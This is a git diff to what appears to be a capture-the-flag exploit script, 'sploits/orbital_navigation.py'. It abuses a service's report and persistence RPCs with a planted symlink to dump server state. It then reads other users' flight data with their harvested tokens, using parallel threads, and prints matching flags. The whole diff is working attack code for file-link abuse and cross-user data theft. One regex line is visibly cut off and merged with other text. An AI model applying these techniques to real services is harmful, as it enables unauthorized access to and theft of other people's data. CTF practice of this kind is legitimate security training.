diff --git a/sploits/orbital_navigation.py b/sploits/orbital_navigation.py index 63bf738..c9c0ecb 100755 --- a/sploits/orbital_navigation.py +++ b/sploits/orbital_navigation.py @@ -11,6 +11,7 @@ import sys import tarfile import tempfile import time +from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait from pathlib import Path from urllib.error import HTTPError, URLError from urllib.parse import quote, unquote, urlsplit, urlunsplit @@ -36,6 +37,7 @@ CONTEXT_PATTERNS = { "package_id": re.compile(r"package-[0-9a-f]{32}\Z"), } TOKEN_VALUE_PATTERN = re.compile(r"token-[0-9a-f]{32}", re.IGNORECASE) +FLAG_PATTERN = re.compile(r"(? str: context["token"], state_dump_tar(context["flight_id"]), ) - rpc( - base, - "generate_report", - token=context["token"], - package_id=context["package_id"], - attachment="report.txt", - ) + restore_needed = True try: + try: + rpc( + base, + "generate_report", + token=context["token"], + package_id=context["package_id"], + attachment="report.txt", + ) + except ExploitError as exc: + # These checks reject the package before extracting the symlink. + if "package not approved" in str(exc) or "unsafe package" in str(exc): + restore_needed = False + raise + + # The first persist copies state into our navigation file. The second + # immediately replaces state.json with a regular file. Read the copy + # only after both writes, keeping the symlink window as short as possible. trigger_persist(base, context) + trigger_persist(base, context) + restore_needed = False result = rpc( base, "read_navigation", @@ -334,10 +349,21 @@ def dump_state(base: str, context) -> str: raise ExploitError("state dump: missing navigation") return navigation finally: - try: - trigger_persist(base, context) - except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: - print(f"state persistence cleanup: {exc}", file=sys.stderr) + if restore_needed: + # An ambiguous timeout may occur before the first write is handled. + # In that case one successful write copies state through the link; + # the next successful write is needed to replace the link itself. + confirmed = 0 + for attempt in range(5): + try: + trigger_persist(base, context) + confirmed += 1 + if confirmed == 2: + break + except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: + print(f"state persistence cleanup attempt {attempt + 1}: {exc}", file=sys.stderr) + if confirmed < 2: + raise ExploitError("state persistence cleanup not confirmed") def state_payloads(state) -> list[str]: @@ -376,6 +402,12 @@ def state_payloads(state) -> list[str]: return values +def read_navigation_candidate(base: str, token: str, flight_id: str) -> str | None: + result = rpc(base, "read_navigation", token=token, flight_id=flight_id) + navigation = result.get("navigation") if isinstance(result, dict) else None + return navigation if isinstance(navigation, str) else None + + def exploit_host_only(base: str, deadline: float) -> list[str]: context = load_context(base) if context is None: @@ -409,34 +441,69 @@ def exploit_host_only(base: str, deadline: float) -> list[str]: for token, owner in users.items(): if isinstance(token, str) and isinstance(owner, str): owner_tokens.setdefault(owner, token) - checked = 0 + known_flights = set(context.get("known_flights", [])) + read_flights = set(context.get("read_flights", [])) + candidates: list[tuple[int, str, str]] = [] if isinstance(flights, dict): for flight_id, flight in flights.items(): - if checked >= MAX_STATE_FLIGHTS or time.monotonic() >= deadline: - break if not isinstance(flight_id, str) or not isinstance(flight, dict): continue if flight_id == context["flight_id"] or flight.get("geometry") == STATE_DUMP_MARKER: continue + if flight_id in read_flights: + continue token = owner_tokens.get(flight.get("owner")) if not isinstance(token, str): continue - checked += 1 - try: - result = rpc(base, "read_navigation", token=token, flight_id=flight_id) - navigation = result.get("navigation") if isinstance(result, dict) else None - if isinstance(navigation, str): - try: - nested_state = json.loads(navigation) - except ValueError: - nested_state = None - state_keys = {"users", "ships", "messages", "flights", "packages"} - if isinstance(nested_state, dict) and state_keys.issubset(nested_state): - loot.extend(state_payloads(nested_state)) - else: - loot.append(navigation) - except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError): - continue + candidates.append((0 if flight_id not in known_flights else 1, flight_id, token)) + candidates.sort(key=lambda item: item[0]) + checked = 0 + pending = {} + candidate_iter = iter(candidates[:MAX_STATE_FLIGHTS]) + with ThreadPoolExecutor(max_workers=4) as pool: + while time.monotonic() < deadline: + while len(pending) < 4 and time.monotonic() < deadline: + try: + _, flight_id, token = next(candidate_iter) + except StopIteration: + break + pending[pool.submit(read_navigation_candidate, base, token, flight_id)] = flight_id + checked += 1 + if not pending: + break + done, _ = wait( + pending, timeout=max(0.0, deadline - time.monotonic()), + return_when=FIRST_COMPLETED, + ) + if not done: + break + for future in done: + flight_id = pending.pop(future) + try: + navigation = future.result() + except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError): + continue + if navigation is None: + continue + read_flights.add(flight_id) + try: + nested_state = json.loads(navigation) + except ValueError: + nested_state = None + state_keys = {"users", "ships", "messages", "flights", "packages"} + if isinstance(nested_state, dict) and state_keys.issubset(nested_state): + loot.extend(state_payloads(nested_state)) + else: + loot.append(navigation) + for future in pending: + future.cancel() + if isinstance(flights, dict): + context["known_flights"] = list(flights) + context["read_flights"] = list(read_flights.intersection(flights)) + try: + save_context(base, context) + except OSError as exc: + print(f"state cache unavailable: {exc}", file=sys.stderr) print(f"state dump navigation reads: {checked}", file=sys.stderr) sanitized = (TOKEN_VALUE_PATTERN.sub("", item) for item in loot if item) return list(dict.fromkeys(item for item in sanitized if item)) @@ -597,9 +664,10 @@ def main() -> int: except (ExploitError, HTTPError, URLError, TimeoutError, ValueError, OSError) as exc: print(f"request failed: {exc}", file=sys.stderr) return 1 - for item in loot: - print(item, flush=True) - print(f"collected values: {len(loot)}", file=sys.stderr) + flags = sorted({match for item in loot for match in FLAG_PATTERN.findall(item)}) + for flag in flags: + print(flag, flush=True) + print(f"collected flags: {len(flags)}", file=sys.stderr) return 0